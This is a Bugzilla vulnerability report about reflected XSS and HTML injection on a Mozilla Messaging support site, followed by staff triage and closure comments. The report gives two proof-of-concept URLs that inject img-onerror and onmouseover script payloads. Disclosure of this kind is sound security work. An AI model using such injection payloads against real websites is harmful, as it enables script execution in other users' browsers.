Closed
Bug 635229
Opened 15 years ago
Closed 14 years ago
xss redirect and html injection
Categories
(support.mozillamessaging.com Graveyard :: General, defect)
support.mozillamessaging.com Graveyard
General
Tracking
(Not tracked)
VERIFIED
WONTFIX
People
(Reporter: d3v1l.securityshell, Assigned: sancus)
Details
(Whiteboard: [infrasec:xss][ws:high])
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)
Build Identifier:
support.mozillamessaging.com XSS
poc:
http://support.mozillamessaging.com/tiki-listpages.php/"<marquee><img src=k onerror=alert("XSS") />
http://support.mozillamessaging.com/tiki-orphan_pages.php/"onmouseover=prompt(1337)>
see:
http://img3.imageshack.us/i/mozat.jpg/
http://img69.imageshack.us/i/mozzw.jpg/
Reproducible: Always
Security Bug Bounty Program
Comment 1•15 years ago
|
||
Confirmed. Make sure there is a space in the url between "k" and "onerror" when testing.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Updated•15 years ago
|
OS: Windows Vista → All
Hardware: x86 → All
Whiteboard: [infrasec:xss][ws:high]
Comment 3•14 years ago
|
||
Who should this be assigned to? The issue is still present.
| Assignee | ||
Comment 4•14 years ago
|
||
Can assign this to me too, but this will go away when we make kitsune live after the All-Hands in any case.
Assignee: nobody → sancus
Comment 5•14 years ago
|
||
mozillamessaging.com sites are not currently covered under our web bug bounty program. We do thank you for reporting it. For the list of covered sites please see the web security blog post about the program.
| Assignee | ||
Comment 6•14 years ago
|
||
This goes away today as well due to moving to kitsune!
Status: NEW → RESOLVED
Closed: 14 years ago
Resolution: --- → FIXED
Comment 7•14 years ago
|
||
please update the respository so it is clear this code has this vulnerability. This is in case somebody pulls it down for some other purpose.
Group: websites-security
Status: RESOLVED → VERIFIED
Resolution: FIXED → WONTFIX
You need to log in
before you can comment on or make changes to this bug.
Description
•